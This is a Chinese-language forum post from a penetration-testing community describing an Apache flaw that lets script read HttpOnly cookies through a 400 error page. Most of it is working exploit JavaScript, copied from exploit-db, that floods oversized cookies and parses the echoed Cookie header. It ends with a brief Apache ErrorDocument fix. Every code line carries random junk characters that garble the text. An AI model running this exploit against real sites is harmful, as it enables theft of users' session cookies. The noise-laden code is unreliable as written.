中国网络渗透测试联盟

标题: Apache HttpOnly Cookie XSS跨站漏洞 [打印本页]

作者: admin    时间: 2013-4-19 19:15
标题: Apache HttpOnly Cookie XSS跨站漏洞
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
0 @' I( L1 @3 w  {4 \9 Z& s6 v# }* l- \3 C( G+ H) L4 q0 i4 G
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:( ^3 L; B' ]( e
8 J4 F9 l  ^5 P( l+ E

- h, }! S! z- T- @$ V% o: i: h8 `// http://www.exploit-db.com/exploits/18442/
, m" m( z: O* w" A- T" S6 `" Jfunction setCookies (good) {
5 n* M% \/ A$ h  e* d// Construct string for cookie value
! k. K+ G7 m1 evar str = "";2 U6 V: N' \" r  u
for (var i=0; i< 819; i++) {
* {* A( `. x" sstr += "x";
) m/ F! d' I: V! B}
& X4 p" X! J: L2 {: p1 I& ]% A1 j// Set cookies
+ f. h  p+ G- f$ Y9 ^for (i = 0; i < 10; i++) {/ Q4 R" m- ?8 u$ _3 i5 y
// Expire evil cookie
0 q9 S" A6 L6 }* P3 E/ I' `if (good) {8 c7 R; K8 F* }. h. r  U
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";4 N, F+ J) i! b" u7 O) G( X! N$ r
}
9 o  a# ^" a  \4 X- o0 J0 q  C) B' `// Set evil cookie
+ s! a. O$ w( l% ]' q7 L3 Aelse {
" E2 ~9 b" \2 d3 @( b1 |8 C! hvar cookie = "xss"+i+"="+str+";path=/";
% j: c# F0 Y( f( \0 T, V( X) g}/ y8 F; H9 V, R. Z7 `
document.cookie = cookie;
6 ~& I/ `/ W8 e; X/ ^}8 v, \( [0 w9 h3 f& z( ?
}- X5 w; Z& ]' Z, V& `' B) c
function makeRequest() {
& r% ?( L9 p$ J# {# |setCookies();
% n5 r- O# o) K1 ^function parseCookies () {; K* L7 i* O$ {( V
var cookie_dict = {};! M$ U3 d- T0 P
// Only react on 400 status; ]/ {5 c: v$ ~
if (xhr.readyState === 4 && xhr.status === 400) {0 ~8 V& r' |- P9 N7 K( V
// Replace newlines and match <pre> content
5 H4 [" N+ H, [; s3 yvar content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);
4 `) v$ N: A3 @9 E5 z4 Y5 |if (content.length) {6 D* F. D# ~# A( R
// Remove Cookie: prefix
7 ]' ?- h4 k  C) g! Y& hcontent = content[1].replace("Cookie: ", "");8 f& e. Y  E# }& {- _
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);* C% M$ R/ R+ L' s
// Add cookies to object
- e3 P6 a% G" k' r' o" Nfor (var i=0; i<cookies.length; i++) {
& X6 |4 o: a# Zvar s_c = cookies.split('=',2);
5 j( v  c* ?% q* @% {; ecookie_dict[s_c[0]] = s_c[1];
% k; b, e* l' O! f/ t+ c# {}
2 ?  q! j+ }. b$ ]1 x  Z. R}
6 P! _; I- B; J; l9 X// Unset malicious cookies
. \0 T! o# N$ U. O0 _! CsetCookies(true);: F* A/ ?8 k+ ?4 t
alert(JSON.stringify(cookie_dict));1 C) s5 \3 ~( S1 v
}
5 a) z4 s) z& S. s& n}/ R, f9 [. a0 |% ^4 p  ]/ l
// Make XHR request
; F0 M6 S! w# Q2 Vvar xhr = new XMLHttpRequest();! }  I% {/ @* o, y% V
xhr.onreadystatechange = parseCookies;
7 S! t' [8 e3 o+ ~xhr.open("GET", "/", true);3 p* k" _+ L6 d  v. z. y) o
xhr.send(null);
4 A4 M4 E6 [9 ^, }! O}% n/ u: d* `* K) ~' R( [2 z# V9 m
makeRequest();( V% Q, b; y& M% t* M  i
% k& s0 D0 S" `- t
你就能看见华丽丽的400错误包含着cookie信息。
0 q1 i5 N. \1 x
; S9 n% G7 y) y2 O8 j下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#) T- A' y5 Q9 l/ O
7 L4 ~8 d$ H& e, C+ D/ ~
修复方案:
' h4 u3 f1 X+ t2 y* C2 ?" M$ k
: N9 M( d- X7 E- Z0 I; A$ yApache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下3 R# U" w& G5 _0 p
! Z% E6 e; L. J( q" m2 x+ x; M
In the event of a problem or error, Apachecan be configured to do one of four things,
/ V% g" y3 v) D* C9 g6 [
3 J! d# f; j+ F1. output asimple hardcoded error message输出一个简单生硬的错误代码信息+ r* b! u* k* t8 h2 o1 k& a9 W" h* @
2. output acustomized message输出一段信息4 z$ l/ ^% t" P* V3 r$ F* X
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
  p7 i$ n/ T5 {, r# @4. redirect to an external URL to handle theproblem/error转向一个外部URL
: h, e1 x; J) v6 P' D+ M. f; i
: U/ f; @7 n  R8 E经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容
! |4 u; k# k1 v, O& @
1 i$ o3 G8 p# z9 v( IApache配置:
9 v- u- \/ y+ \& }
0 i' Y% D. {: B' o/ }) n8 ^7 EErrorDocument400 " security test"  d: T% I3 d1 G7 e5 d
' S) G3 R' O* K8 M: N( u+ R
当然,升级apache到最新也可:)。
" S' Y# G$ o7 |2 a
, }: J2 u' `" Z" v0 M参考:http://httpd.apache.org/security/vulnerabilities_22.html5 q! ]% O7 F1 x1 \
. N3 k0 s1 z' `7 g





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2